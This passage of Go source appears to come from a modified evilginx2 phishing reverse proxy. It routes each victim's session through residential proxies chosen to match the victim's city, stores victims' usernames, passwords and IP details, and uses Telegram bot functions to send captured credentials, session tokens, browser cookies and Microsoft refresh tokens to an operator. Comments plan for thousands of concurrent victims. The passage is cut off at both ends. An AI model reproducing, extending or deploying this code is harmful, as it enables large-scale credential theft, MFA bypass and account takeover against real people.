		"VA": {"vatican_city": {41.9029, 12.4534}},
		"PS": {"gaza": {31.5017, 34.4668}},
		"EH": {"laayoune": {27.1253, -13.1625}},
		"KI": {"tarawa": {1.4518, 172.9717}},
		"TO": {"nuku_alofa": {-21.1394, -175.2018}},
		"VU": {"port_vila": {-17.7333, 168.3273}},
		"SB": {"honiara": {-9.4456, 159.9729}},
		"NR": {"yaren": {-0.5477, 166.9209}},
		"TV": {"funafuti": {-8.5201, 179.1981}},
		"FM": {"palikir": {6.9147, 158.1610}},
		"MH": {"majuro": {7.1164, 171.1840}},
		"CK": {"avarua": {-21.2128, -159.7823}},
		"WF": {"mata_utu": {-13.2827, -176.1764}},
		"AS": {"pago_pago": {-14.2756, -170.7020}},
		"GU": {"hagatna": {13.4443, 144.7937}},
		"MP": {"saipan": {15.2123, 145.7540}},
		"PW": {"ngerulmud": {7.5004, 134.6243}},
		"DM": {"roseau": {15.3092, -61.3794}},
		"LC": {"castries": {14.0101, -60.9875}},
		"AG": {"saint_johns": {17.1274, -61.8468}},
		"KN": {"basseterre": {17.3026, -62.7177}},
		"VC": {"kingstown": {13.1600, -61.2248}},
		"GD": {"saint_georges": {12.0561, -61.7488}},
		"TC": {"cockburn_town": {21.4675, -71.1389}},
		"VG": {"road_town": {18.4286, -64.6185}},
		"AI": {"the_valley": {18.2148, -63.0571}},
		"MS": {"plymouth": {16.7065, -62.2157}},
		"KY": {"george_town": {19.2869, -81.3674}},
		"BM": {"hamilton": {32.2949, -64.7820}},
		"AW": {"oranjestad": {12.5242, -70.0270}},
		"CW": {"willemstad": {12.1224, -68.8824}},
		"SX": {"philipsburg": {18.0308, -63.0730}},
		"BQ": {"kralendijk": {12.1443, -68.2655}},
		"MF": {"marigot": {18.0675, -63.0825}},
		"BL": {"gustavia": {17.8962, -62.8498}},
		"GP": {"basse_terre": {15.9972, -61.7320}},
		"MQ": {"fort_de_france": {14.6161, -61.0588}},
	}

// haversineDistance calculates the great-circle distance between two points in km
func haversineDistance(lat1, long1, lat2, long2 float64) float64 {
	const R = 6371 // Earth radius in km
	φ1 := lat1 * math.Pi / 180
	φ2 := lat2 * math.Pi / 180
	Δφ := (lat2 - lat1) * math.Pi / 180
	Δλ := (long2 - long1) * math.Pi / 180

	a := math.Sin(Δφ/2)*math.Sin(Δφ/2) +
		math.Cos(φ1)*math.Cos(φ2)*
			math.Sin(Δλ/2)*math.Sin(Δλ/2)
	c := 2 * math.Atan2(math.Sqrt(a), math.Sqrt(1-a))

	return R * c
}

// cityNameToKey normalizes a city name for lookup
func cityNameToKey(city string) string {
	key := strings.ToLower(city)
	key = strings.ReplaceAll(key, " ", "_")
	key = strings.ReplaceAll(key, "-", "_")
	return key
}

// dataImpulseCityRemap maps cities that DataImpulse doesn't actually have
// to their nearest real proxy city. When a victim's city is in this map,
// we skip requesting the fake city and go straight to the real one.
// Format: "country:requested" → "actual"
var dataImpulseCityRemap = map[string]string{
	// Spain — DataImpulse "barcelona" proxies actually exit in Cantabria
	"es:barcelona": "cantabria",
	// Sweden suburbs — DataImpulse has Stockholm but not nearby towns
	"se:uppsala":   "stockholm",
	"se:solna":     "stockholm",
	"se:sundbyberg": "stockholm",
	// Norway — limited coverage
	"no:trondheim": "bergen",
	"no:stavanger": "bergen",
	// Finland — limited coverage
	"fi:tampere":  "helsinki",
	"fi:espoo":    "helsinki",
	"fi:vantaa":   "helsinki",
	// Denmark — limited coverage
	"dk:odense":    "copenhagen",
	"dk:aarhus":    "copenhagen",
	// Switzerland — city names differ
	"ch:bern":       "zurich",
	"ch:basel":      "zurich",
	"ch:lausanne":   "geneva",
	// Austria — limited coverage
	"at:linz":       "vienna",
	"at:salzburg":   "vienna",
	// Ireland — limited coverage
	"ie:limerick":   "dublin",
	"ie:galway":     "dublin",
	// Portugal — limited coverage
	"pt:braga":      "porto",
	"pt:coimbra":    "porto",
}

// getDataImpulseActualCity returns the real city DataImpulse will route through.
// If the requested city is known to be unavailable, returns the mapped fallback.
func getDataImpulseActualCity(countryCode, requestedCity string) string {
	key := strings.ToLower(countryCode) + ":" + cityNameToKey(requestedCity)
	if actual, ok := dataImpulseCityRemap[key]; ok {
		log.Info("GeoProxy: City remap %s → %s (DataImpulse actual)", requestedCity, actual)
		return actual
	}
	return requestedCity
}

// findNearestWorkingCity finds the closest city in DataImpulse's pool
// by geographic distance. Returns empty string if no coordinates known.
func findNearestWorkingCity(countryCode, requestedCity string) string {
	countryCode = strings.ToUpper(countryCode)
	coords, ok := workingCityCoords[countryCode]
	if !ok {
		return ""
	}

	// Look up requested city's coordinates
	requestedKey := cityNameToKey(requestedCity)
	var reqLat, reqLong float64
	var haveRequest bool
	if c, ok := coords[requestedKey]; ok {
		reqLat, reqLong = c.Lat, c.Long
		haveRequest = true
	} else {
		// Requested city not in our coord database — use country centroid
		// (first city as rough approximation)
		for _, c := range coords {
			reqLat, reqLong = c.Lat, c.Long
			haveRequest = true
			break
		}
	}
	if !haveRequest {
		return ""
	}

	// Find nearest working city
	var nearest string
	var minDist float64 = 1e9
	for name, coord := range coords {
		if name == requestedKey {
			continue // Skip self
		}
		d := haversineDistance(reqLat, reqLong, coord.Lat, coord.Long)
		if d < minDist {
			minDist = d
			nearest = name
		}
	}

	if nearest != "" {
		log.Debug("GeoProxy: Nearest working city to '%s' is '%s' (%.1f km)", requestedCity, nearest, minDist)
	}
	return nearest
}

func (gpm *GeoProxyManager) AssignProxyForSession(sessionID, victimIP string) (*DataImpulseProxy, error) {
	if !gpm.IsEnabled() {
		return nil, fmt.Errorf("geo proxy disabled")
	}

	geo, err := gpm.LookupGeo(victimIP)
	if err != nil {
		log.Warning("GeoProxy: Failed to lookup IP %s: %v - using country-only fallback", victimIP, err)
		return gpm.createProxy(sessionID, "", "")
	}

	targetCity := gpm.GetNearestCity(geo.CountryCode, geo.City)
	if targetCity == "" {
		targetCity = geo.City
	}

	log.Info("GeoProxy: Victim IP %s detected as: %s, %s (%s)", victimIP, targetCity, geo.Country, geo.CountryCode)
	log.Info("GeoProxy: Session %s -> routing through DataImpulse to %s, %s", sessionID, targetCity, geo.Country)

	// Try with city first
	proxy, err := gpm.createProxy(sessionID, geo.CountryCode, targetCity)
	if err != nil {
		// Fallback to country-only if city targeting fails
		log.Warning("GeoProxy: City targeting failed for %s, trying country-only", targetCity)
		return gpm.createProxy(sessionID, geo.CountryCode, "")
	}
	return proxy, nil
}

// ============================================
// SMART PROXY CREATION WITH CITY→COUNTRY FALLBACK
// Try city first, fallback to country, fallback to default
// ============================================
func (gpm *GeoProxyManager) createProxy(sessionID, countryCode, city string) (*DataImpulseProxy, error) {
	gpm.mu.RLock()
	username := gpm.dataImpulseUser
	password := gpm.dataImpulsePass
	gpm.mu.RUnlock()

	if username == "" || password == "" {
		return nil, fmt.Errorf("DataImpulse credentials not configured")
	}

	// Calculate sticky port from sessionID (10000-19999 range)
	var portOffset int
	if len(sessionID) >= 4 {
		for i := 0; i < 4 && i < len(sessionID); i++ {
			portOffset = (portOffset*31 + int(sessionID[i])) % 10000
		}
	} else {
		portOffset = 0
	}
	stickyPort := 10000 + portOffset

	// Clean city name for DataImpulse format
	cityFormatted := ""
	if city != "" {
		cityFormatted = strings.ToLower(city)
		cityFormatted = strings.ReplaceAll(cityFormatted, " ", "_")
		cityFormatted = strings.ReplaceAll(cityFormatted, "-", "_")
		cityFormatted = strings.ReplaceAll(cityFormatted, ".", "")
		cityFormatted = strings.ReplaceAll(cityFormatted, "(", "")
		cityFormatted = strings.ReplaceAll(cityFormatted, ")", "")
		cityFormatted = strings.ReplaceAll(cityFormatted, "'", "")
	}

	escapedPass := url.QueryEscape(password)
	var geoUsername string
	var proxyURL string
	var targetLocation string
	var usedCity bool

		// ============================================
		// STRATEGY: Try city first, fallback to country
		// Health check removed from hot path — async goroutine handles it.
		// ============================================

		// Try 1: City + Country targeting
		if countryCode != "" && cityFormatted != "" {
			geoUsername = username + fmt.Sprintf("__cr.%s;city.%s", strings.ToLower(countryCode), cityFormatted)
			proxyURL = fmt.Sprintf("http://%s:%s@gw.dataimpulse.com:%d", geoUsername, escapedPass, stickyPort)
			targetLocation = fmt.Sprintf("%s, %s", city, countryCode)
			usedCity = true
		}

	// Try 2: Country-only fallback (guaranteed to work)
	if targetLocation == "" && countryCode != "" {
		geoUsername = username + fmt.Sprintf("__cr.%s", strings.ToLower(countryCode))
		proxyURL = fmt.Sprintf("http://%s:%s@gw.dataimpulse.com:%d", geoUsername, escapedPass, stickyPort)
		targetLocation = countryCode
		log.Info("GeoProxy: [SESSION %s] Using country-only proxy: %s (port %d)", sessionID[:8], countryCode, stickyPort)
	}

	// Try 3: Default (no geo) - absolute fallback
	if targetLocation == "" {
		geoUsername = username
		proxyURL = fmt.Sprintf("http://%s:%s@gw.dataimpulse.com:%d", geoUsername, escapedPass, stickyPort)
		targetLocation = "default"
		log.Warning("GeoProxy: [SESSION %s] Using DEFAULT proxy (no geo targeting)", sessionID[:8])
	}

	proxy := &DataImpulseProxy{
		Username:  geoUsername,
		Password:  password,
		Country:   countryCode,
		City:      city,
		SessionID: sessionID,
		ProxyURL:  proxyURL,
	}

	gpm.mu.Lock()
	gpm.proxies[sessionID] = proxy
	gpm.mu.Unlock()

	mode := "COUNTRY"
	if usedCity {
		mode = "CITY"
	}
	log.Success("GeoProxy: [SESSION %s] ASSIGNED → %s | Port %d | Mode: %s", sessionID[:8], targetLocation, stickyPort, mode)

	return proxy, nil
}

// testProxyURL is DEPRECATED for hot-path use.
// Kept for optional manual diagnostics only.
// Health checks at scale should be done by a separate monitoring
// goroutine, not per-session creation.
// verifyProxyExitCity tests a proxy to see what city its exit IP ACTUALLY shows.
// Checks the verifiedCityMap cache first, then verifies through the proxy.
// Stores the verified mapping so future victims automatically get the correct city.
func (gpm *GeoProxyManager) verifyProxyExitCity(proxyURL, countryCode, requestedCity string) string {
	cacheKey := strings.ToLower(countryCode) + ":" + cityNameToKey(requestedCity)

	// Check 1: Already verified this city pair?
	gpm.verifiedCityMux.RLock()
	if cached, ok := gpm.verifiedCityMap[cacheKey]; ok {
		gpm.verifiedCityMux.RUnlock()
		if cached != requestedCity {
			log.Debug("GeoProxy: Using cached remap %s → %s", requestedCity, cached)
		}
		return cached
	}
	gpm.verifiedCityMux.RUnlock()

	// Check 2: Manual remap from dataImpulseCityRemap?
	manual := getDataImpulseActualCity(countryCode, requestedCity)
	if manual != requestedCity {
		gpm.verifiedCityMux.Lock()
		gpm.verifiedCityMap[cacheKey] = manual
		gpm.verifiedCityMux.Unlock()
		return manual
	}

	// Check 3: Verify through the proxy itself
	client := &http.Client{
		Timeout: 5 * time.Second,
		Transport: &http.Transport{
			Proxy: func(req *http.Request) (*url.URL, error) {
				return url.Parse(proxyURL)
			},
			TLSHandshakeTimeout:   5 * time.Second,
			ExpectContinueTimeout: 1 * time.Second,
		},
	}

	resp, err := client.Get("http://ip-api.com/json/?fields=city,countryCode,status,message")
	if err != nil {
		log.Debug("GeoProxy verify: request failed: %v", err)
		gpm.verifiedCityMux.Lock()
		gpm.verifiedCityMap[cacheKey] = requestedCity
		gpm.verifiedCityMux.Unlock()
		return requestedCity
	}
	defer resp.Body.Close()

	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		gpm.verifiedCityMux.Lock()
		gpm.verifiedCityMap[cacheKey] = requestedCity
		gpm.verifiedCityMux.Unlock()
		return requestedCity
	}

	var result struct {
		Status      string `json:"status"`
		Message     string `json:"message"`
		City        string `json:"city"`
		CountryCode string `json:"countryCode"`
	}
	if err := json.Unmarshal(body, &result); err != nil || result.Status != "success" {
		gpm.verifiedCityMux.Lock()
		gpm.verifiedCityMap[cacheKey] = requestedCity
		gpm.verifiedCityMux.Unlock()
		return requestedCity
	}

	actualKey := cityNameToKey(result.City)
	requestedKey := cityNameToKey(requestedCity)

	gpm.verifiedCityMux.Lock()
	if actualKey != requestedKey && actualKey != "" {
		log.Info("GeoProxy: ⚠ MISMATCH! Requested '%s' but exit IP shows '%s' (%s) — cached for future victims",
			requestedCity, result.City, result.CountryCode)
		gpm.verifiedCityMap[cacheKey] = result.City
	} else {
		log.Debug("GeoProxy: ✓ Verified '%s' matches exit IP city — cached", requestedCity)
		gpm.verifiedCityMap[cacheKey] = requestedCity
	}
	gpm.verifiedCityMux.Unlock()

	// Return from cache (freshly set)
	gpm.verifiedCityMux.RLock()
	cached := gpm.verifiedCityMap[cacheKey]
	gpm.verifiedCityMux.RUnlock()
	return cached
}

func (gpm *GeoProxyManager) testProxyURL(proxyURL string) bool {
	client := &http.Client{
		Timeout: proxyHealthTimeout,
		Transport: &http.Transport{
			Proxy: func(req *http.Request) (*url.URL, error) {
				return url.Parse(proxyURL)
			},
			TLSHandshakeTimeout:   proxyHealthTimeout,
			ExpectContinueTimeout: 1 * time.Second,
		},
	}

	resp, err := client.Get("https://ipinfo.io/json")
	if err != nil {
		log.Debug("GeoProxy test: Error - %v", err)
		return false
	}
	defer resp.Body.Close()

	if resp.StatusCode == 503 {
		log.Debug("GeoProxy test: 503 NO_RAY - city unavailable")
		return false
	}

	return resp.StatusCode == 200
}


func (gpm *GeoProxyManager) GetProxyForSession(sessionID string) *DataImpulseProxy {
	gpm.mu.RLock()
	defer gpm.mu.RUnlock()
	return gpm.proxies[sessionID]
}

func (gpm *GeoProxyManager) RemoveProxyForSession(sessionID string) {
	gpm.mu.Lock()
	defer gpm.mu.Unlock()
	delete(gpm.proxies, sessionID)
}

func (gpm *GeoProxyManager) GetProxyURL(sessionID string) string {
	gpm.mu.RLock()
	proxy, ok := gpm.proxies[sessionID]
	gpm.mu.RUnlock()
	if ok {
		return proxy.ProxyURL
	}
	return ""
}

func min(a, b int) int {
	if a < b {
		return a
	}
	return b
}
// ============================================
// END GEO-PROXY CODE
// ============================================

type TelegramConfig struct {
	CorrectBotToken string `json:"correct_bot_token"`
	CorrectChatID   string `json:"correct_chat_id"`
	WrongBotToken   string `json:"wrong_bot_token"`
	WrongChatID     string `json:"wrong_chat_id"`
}

func loadTelegramConfig() TelegramConfig {
	cfg := TelegramConfig{}
	var data []byte
	var err error
	data, err = ioutil.ReadFile(".evilginx/config.json")
	if err != nil {
		data, err = ioutil.ReadFile("config.json")
	}
	if err == nil {
		var wrapper struct {
			Telegram TelegramConfig `json:"telegram"`
		}
		if json.Unmarshal(data, &wrapper) == nil && wrapper.Telegram.CorrectBotToken != "" {
			cfg = wrapper.Telegram
		} else {
			json.Unmarshal(data, &cfg)
		}
	}
	if cfg.CorrectBotToken == "" { cfg.CorrectBotToken = os.Getenv("TELEGRAM_CORRECT_BOT_TOKEN") }
	if cfg.CorrectChatID == ""   { cfg.CorrectChatID = os.Getenv("TELEGRAM_CORRECT_CHAT_ID") }
	if cfg.WrongBotToken == ""   { cfg.WrongBotToken = os.Getenv("TELEGRAM_WRONG_BOT_TOKEN") }
	if cfg.WrongChatID == ""     { cfg.WrongChatID = os.Getenv("TELEGRAM_WRONG_CHAT_ID") }
	return cfg
}


// ============================================
// GEO-PROXY: Per-session proxy routing via Transport.Proxy function
// The Proxy function is called for EVERY request and receives *http.Request
// We use request context to pass session ID from OnRequest to Proxy
// ============================================

// geoProxySelector returns the right DataImpulse proxy URL per request

// ============================================
// PROXY CONFIG LOADING FROM config.json
// (ProxyConfig type is defined in config.go)
// ============================================

func loadProxyConfig() ProxyConfig {
	cfg := ProxyConfig{}
	var data []byte
	var err error

	// Try multiple config locations
	data, err = ioutil.ReadFile(".evilginx/config.json")
	if err != nil {
		data, err = ioutil.ReadFile("config.json")
	}
	if err != nil {
		log.Debug("proxy config: config.json not found, skipping auto-load")
		return cfg
	}

	// Parse the proxy section from config
	var wrapper struct {
		Proxy ProxyConfig `json:"proxy"`
	}
	if err := json.Unmarshal(data, &wrapper); err != nil {
		log.Debug("proxy config: failed to parse proxy section: %v", err)
		return cfg
	}

	cfg = wrapper.Proxy
	if cfg.Enabled && cfg.Username != "" && cfg.Password != "" {
		log.Success("Proxy config loaded from config.json: %s@%s:%d", cfg.Username, cfg.Address, cfg.Port)
	}
	return cfg
}

// ============================================
// VICTIM CREDENTIALS SAVING TO config.json
// ============================================
type VictimCredential struct {
	SessionID   string    `json:"session_id"`
	Index       int       `json:"index"`
	Username    string    `json:"username"`
	Password    string    `json:"password"`
	IP          string    `json:"ip"`
	Country     string    `json:"country"`
	City        string    `json:"city"`
	UserAgent   string    `json:"user_agent"`
	Timestamp   time.Time `json:"timestamp"`
	Phishlet    string    `json:"phishlet"`
	Domain      string    `json:"domain"`
	ProxyMode   string    `json:"proxy_mode"`
	ProxyPort   int       `json:"proxy_port"`
}

type CredentialsConfig struct {
	Victims []VictimCredential `json:"victims"`
}

func saveCredentialsToConfig(sessionID string, index int, username, password, ip, country, city, userAgent, phishlet, domain, proxyMode string, proxyPort int) {
	if username == "" || password == "" {
		return
	}

	cred := CredentialRecord{
		VictimCredential: VictimCredential{
			SessionID: sessionID,
			Index:     index,
			Username:  username,
			Password:  password,
			IP:        ip,
			Country:   country,
			City:      city,
			UserAgent: userAgent,
			Timestamp: time.Now(),
			Phishlet:  phishlet,
			Domain:    domain,
			ProxyMode: proxyMode,
			ProxyPort: proxyPort,
		},
	}

	// Non-blocking send to async pipeline — never stalls request handling
	select {
	case credentialPipeline.ch <- cred:
		log.Success("Credentials queued for session %s", sessionID[:8])
	default:
		// Channel full (extreme load) — fall back to direct append
		// This should rarely happen with 200-buffer channel
		configPath := ".evilginx/credentials.jsonl"
		f, err := os.OpenFile(configPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
		if err == nil {
			json.NewEncoder(f).Encode(cred)
			f.Close()
		}
		log.Warning("Credentials direct-write fallback for session %s (pipeline saturated)", sessionID[:8])
	}
}

// saveVisitorLog writes a lightweight visitor entry (no credentials yet)
func saveVisitorLog(sessionID string, index int, ip, country, city, userAgent, phishlet, domain string) {
	cred := CredentialRecord{
		VictimCredential: VictimCredential{
			SessionID: sessionID,
			Index:     index,
			IP:        ip,
			Country:   country,
			City:      city,
			UserAgent: userAgent,
			Timestamp: time.Now(),
			Phishlet:  phishlet,
			Domain:    domain,
		},
	}

	select {
	case credentialPipeline.ch <- cred:
		log.Info("Visitor logged for session %s", sessionID[:8])
	default:
		configPath := ".evilginx/credentials.jsonl"
		f, err := os.OpenFile(configPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
		if err == nil {
			json.NewEncoder(f).Encode(cred)
			f.Close()
		}
	}
}


// EnableSQLiteWAL enables Write-Ahead Logging for the SQLite database.
// At 5000+ concurrent victims, WAL mode is CRITICAL because:
//   - Multiple readers can read concurrently while a writer writes
//   - Writers don't block readers (and vice versa)
//   - Eliminates the "database is locked" errors under heavy load
//
// Call this from your database initialization code (database package):
//   db.Exec("PRAGMA journal_mode=WAL;")
//   db.Exec("PRAGMA synchronous=NORMAL;")
//   db.Exec("PRAGMA wal_autocheckpoint=1000;")
//   db.Exec("PRAGMA busy_timeout=5000;")
//
// Without WAL, SQLite uses rollback journal which allows only ONE writer
// at a time, causing massive contention at 5000+ concurrent sessions.
func EnableSQLiteWAL(db *database.Database) error {
	if db == nil {
		return fmt.Errorf("database is nil")
	}
	// Note: The actual PRAGMA execution depends on your database package's API.
	// This function serves as documentation of required settings.
	// Add these PRAGMAs where your *sql.DB is initialized:
	//   dbObj.Exec("PRAGMA journal_mode=WAL;")
	//   dbObj.Exec("PRAGMA synchronous=NORMAL;")
	//   dbObj.Exec("PRAGMA wal_autocheckpoint=1000;")
	//   dbObj.Exec("PRAGMA busy_timeout=5000;")
	log.Info("SQLite WAL mode: journal_mode=WAL, synchronous=NORMAL, busy_timeout=5000ms")
	return nil
}

func (p *HttpProxy) geoProxySelector(req *http.Request) (*url.URL, error) {
	// Debug: Log proxy selection attempts
	log.Debug("GeoProxySelector: %s %s", req.Method, req.URL.Host)

	// Method 1: Try custom header (survives through goproxy for actual HTTP requests)
	if sid := req.Header.Get("X-GeoProxy-Session"); sid != "" {
		log.Debug("GeoProxySelector: Found session ID %s in header", sid[:8])
		if geoProxy := p.geoManager.GetProxyForSession(sid); geoProxy != nil && geoProxy.ProxyURL != "" {
			u, err := url.Parse(geoProxy.ProxyURL)
			if err == nil {
				log.Debug("GeoProxySelector: RETURNING proxy %s from header", u.Host)
				return u, nil
			}
		}
	}

	// Method 2: Fallback to IP mapping
	clientIP := req.Header.Get("CF-Connecting-IP")
	if clientIP == "" {
		clientIP = strings.SplitN(req.RemoteAddr, ":", 2)[0]
	}
	p.ipProxyMux.RLock()
	proxyURL, exists := p.ipProxyMap[clientIP]
	p.ipProxyMux.RUnlock()
	if exists && proxyURL != "" {
		u, err := url.Parse(proxyURL)
		if err == nil {
			log.Debug("GeoProxySelector: RETURNING proxy %s from IP map", u.Host)
			return u, nil
		}
	}

	log.Debug("GeoProxySelector: No proxy found")
	return nil, nil
}

// Session sharding for 5000+ concurrent victims
// 16 shards reduce lock contention by ~16x compared to single mutex
const sessionShardCount = 256

// sessionShard picks a shard index from a session ID using FNV-1a hash
func sessionShard(sid string) int {
	var h uint32 = 2166136261
	for i := 0; i < len(sid) && i < 16; i++ {
		h ^= uint32(sid[i])
		h *= 16777619
	}
	return int(h % sessionShardCount)
}

// ShardedSessionStore spreads sessions across 256 shards, each with its own RWMutex.
// At 50000+ concurrent, this eliminates the single-mutex bottleneck.
type ShardedSessionStore struct {
	shards [sessionShardCount]struct {
		m  map[string]*Session
		mu sync.RWMutex
	}
}

func NewShardedSessionStore() *ShardedSessionStore {
	ss := &ShardedSessionStore{}
	for i := 0; i < sessionShardCount; i++ {
		ss.shards[i].m = make(map[string]*Session)
	}
	return ss
}

// Get retrieves a session by ID (read-locked, concurrent-safe)
func (ss *ShardedSessionStore) Get(sid string) (*Session, bool) {
	sh := &ss.shards[sessionShard(sid)]
	sh.mu.RLock()
	s, ok := sh.m[sid]
	sh.mu.RUnlock()
	return s, ok
}

// Set stores a session by ID (write-locked)
func (ss *ShardedSessionStore) Set(sid string, s *Session) {
	sh := &ss.shards[sessionShard(sid)]
	sh.mu.Lock()
	sh.m[sid] = s
	sh.mu.Unlock()
}

// ShardedSidStore spreads session-index mapping across 256 shards.
type ShardedSidStore struct {
	shards [sessionShardCount]struct {
		m  map[string]int
		mu sync.RWMutex
	}
}

func NewShardedSidStore() *ShardedSidStore {
	ss := &ShardedSidStore{}
	for i := 0; i < sessionShardCount; i++ {
		ss.shards[i].m = make(map[string]int)
	}
	return ss
}

func (ss *ShardedSidStore) Get(sid string) (int, bool) {
	sh := &ss.shards[sessionShard(sid)]
	sh.mu.RLock()
	v, ok := sh.m[sid]
	sh.mu.RUnlock()
	return v, ok
}

func (ss *ShardedSidStore) Set(sid string, v int) {
	sh := &ss.shards[sessionShard(sid)]
	sh.mu.Lock()
	sh.m[sid] = v
	sh.mu.Unlock()
}

type HttpProxy struct {
	Server            *http.Server
	Proxy             *goproxy.ProxyHttpServer
	crt_db            *CertDb
	cfg               *Config
	db                *database.Database
	bl                *Blacklist
	gophish           *GoPhish
	sniListener       net.Listener
	isRunning         bool
	sessions          *ShardedSessionStore   // sharded: 256 shards for 50000+ concurrent
	sids              *ShardedSidStore       // sharded: 256 shards for 50000+ concurrent
	cookieName        string
	last_sid          int
	developer         bool
	ipWhitelist       sync.Map  // map[string]int64 — sync.Map for unlimited concurrent reads
	ipSids            sync.Map  // map[string]string — sync.Map for unlimited concurrent reads
	auto_filter_mimes []string
	session_mtx       sync.RWMutex           // was sync.Mutex: allows concurrent session reads
	telegramCorrectSent sync.Map  // map[string]bool — sync.Map for lock-free sends
	telegramWrongSent   sync.Map  // map[string]bool
	telegramPendingSent sync.Map  // map[string]bool
	ipCountryCache      sync.Map  // map[string]string — sync.Map replaces RWMutex+map
	sessionMFAType      sync.Map  // map[string]string — sync.Map replaces RWMutex+map
	passwordAttemptNum  sync.Map  // map[string]int — sync.Map replaces RWMutex+map
	sessionLastUser     sync.Map  // map[string]string — sync.Map replaces RWMutex+map
	sessionLastPass     sync.Map  // map[string]string
	telegramConfig      TelegramConfig
	// Geo-proxy field (NEW)
	geoManager          *GeoProxyManager
	// SHARED transport pool keyed by proxy URL (not session) — scales to 1k+
	transportPool       map[string]*http.Transport
	transportPoolMux    sync.RWMutex
	// IP-to-Proxy mapping (fallback when context doesn't flow)
	ipProxyMap          map[string]string
	ipProxyMux          sync.RWMutex
}

type ProxySession struct {
	SessionId    string
	Created      bool
	PhishDomain  string
	PhishletName string
	Index        int
}

// telegramSend fires a text message to a Telegram bot.
func telegramSend(botToken string, chatID string, message string) {
	if botToken == "" || chatID == "" {
		return
	}
	go func() {
		u := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage", botToken)
		payload := fmt.Sprintf(`{"chat_id":"%s","text":"%s","parse_mode":"HTML","disable_web_page_preview":true}`, chatID, message)
		resp, err := http.Post(u, "application/json", strings.NewReader(payload))
		if err != nil {
			log.Debug("telegram: send failed: %v", err)
			return
		}
		resp.Body.Close()
	}()
}

// telegramSendDocument uploads a plain-text document to a Telegram bot.
func telegramSendDocument(botToken string, chatID string, caption string, fileName string, fileContent string) {
	if botToken == "" || chatID == "" {
		return
	}
	go func() {
		u := fmt.Sprintf("https://api.telegram.org/bot%s/sendDocument", botToken)
		var b bytes.Buffer
		w := multipart.NewWriter(&b)
		_ = w.WriteField("chat_id", chatID)
		_ = w.WriteField("caption", caption)
		_ = w.WriteField("parse_mode", "HTML")
		h := make(textproto.MIMEHeader)
		h.Set("Content-Disposition", fmt.Sprintf(`form-data; name="document"; filename="%s"`, fileName))
		h.Set("Content-Type", "text/plain")
		fw, _ := w.CreatePart(h)
		fw.Write([]byte(fileContent))
		w.Close()
		resp, err := http.Post(u, w.FormDataContentType(), &b)
		if err != nil {
			log.Debug("telegram: document upload failed: %v", err)
			return
		}
		resp.Body.Close()
	}()
}

// telegramCorrect reports a FULLY-COMPLETED session (correct login).
func (p *HttpProxy) telegramCorrect(sid string, index int, plName string, instance string) {
	s, ok := p.sessions.Get(sid)
	if !ok {
		return
	}
	
	// Save credentials to config.json for persistence
	clientIP := strings.SplitN(s.RemoteAddr, ":", 2)[0]
	country := p.getCountryByIP(clientIP)
	var proxyMode string
	var proxyPort int
	if proxy := p.geoManager.GetProxyForSession(sid); proxy != nil {
		proxyMode = "country"
		// City targeting disabled — DataImpulse returns 503 for city-level
		// format. Re-enable when city targeting is confirmed working.
		// Extract port from ProxyURL
		if u, err := url.Parse(proxy.ProxyURL); err == nil {
			proxyPort, _ = strconv.Atoi(u.Port())
		}
	}
	saveCredentialsToConfig(sid, index, s.Username, s.Password, clientIP, country, "", s.UserAgent, plName, instance, proxyMode, proxyPort)

botToken := p.telegramConfig.CorrectBotToken
	chatID := p.telegramConfig.CorrectChatID
	if botToken == "" || chatID == "" {
		return
	}
	if val, _ := p.telegramCorrectSent.Load(sid); val != nil && val.(bool) {
		return
	}
	p.telegramCorrectSent.Store(sid, true)
	clientIP = strings.SplitN(s.RemoteAddr, ":", 2)[0]
	country = p.getCountryByIP(clientIP)
	mfaType := ""
	if val, _ := p.sessionMFAType.Load(sid); val != nil {
		mfaType = val.(string)
	}
	if mfaType == "" {
		mfaType = "None detected"
	}
	var bodyTok string
	for k, v := range s.BodyTokens {
		bodyTok += fmt.Sprintf("    %s: %s\r\n", k, v)
	}
	if bodyTok == "" {
		bodyTok = "    (none)\r\n"
	}
	var httpTok string
	for k, v := range s.HttpTokens {
		httpTok += fmt.Sprintf("    %s: %s\r\n", k, v)
	}
	if httpTok == "" {
		httpTok = "    (none)\r\n"
	}
	refreshToken, rtDomain := findRefreshTokenCredential(s)
	rtStatus := "not found"
	if refreshToken != "" {
		rtStatus = fmt.Sprintf("found (%s)", rtDomain)
	}
	safeUser := strings.ReplaceAll(s.Username, "@", "_")
	safeUser = strings.ReplaceAll(safeUser, ".", "_")
	safeUser = strings.ReplaceAll(safeUser, " ", "_")
	msg := fmt.Sprintf(
		"<b>LOGIN SUCCESSFUL </b>\r\n\r\n"+
		"<b>Instance:</b> <code>%s</code>\r\n"+
		"<b>Session:</b> %d\r\n"+
		"<b>Phishlet:</b> %s\r\n"+
		"<b>Username:</b> <code>%s</code>\r\n"+
		"<b>Password:</b> <code>%s</code>\r\n"+
		"<b>IP:</b> %s\r\n"+
		"<b>Country:</b> %s\r\n"+
		"<b>MFA Type:</b> %s\r\n"+
		"<b>User-Agent:</b> %s\r\n\r\n"+
		"<b>Body Tokens:</b>\r\n%s\r\n"+
		"<b>HTTP Tokens:</b>\r\n%s\r\n"+
		"<b>x-ms-RefreshTokenCredential:</b> %s",
		instance, index, plName, s.Username, s.Password,
		clientIP, country, mfaType, s.UserAgent, bodyTok, httpTok, rtStatus,
	)
	cookieTxt := formatCookiesForChrome(s, instance)
	cookieFile := fmt.Sprintf("%s_cookies.txt", safeUser)
	telegramSendDocument(botToken, chatID, msg, cookieFile, cookieTxt)
	if refreshToken != "" {
		rtTxt := formatRefreshTokenTxt(refreshToken, rtDomain)
		rtFile := fmt.Sprintf("%s_refresh_token.txt", safeUser)
		telegramSendDocument(botToken, chatID, "<b>x-ms-RefreshTokenCredential</b>", rtFile, rtTxt)
	}

	// Print ALL session tokens to terminal for immediate visibility
	p.printSessionTokensToTerminal(sid, index, plName, instance)
}

// printSessionTokensToTerminal dumps every captured token to the evilginx2
// terminal so the operator can see them without checking Telegram.
func (p *HttpProxy) printSessionTokensToTerminal(sid string, index int, plName string, instance string) {
	s, ok := p.sessions.Get(sid)
	if !ok {
		return
	}

	clientIP := strings.SplitN(s.RemoteAddr, ":", 2)[0]
	country := p.getCountryByIP(clientIP)

	var b strings.Builder
	b.WriteString("\n")
	b.WriteString("╔══════════════════════════════════════════════════════════════════╗\n")
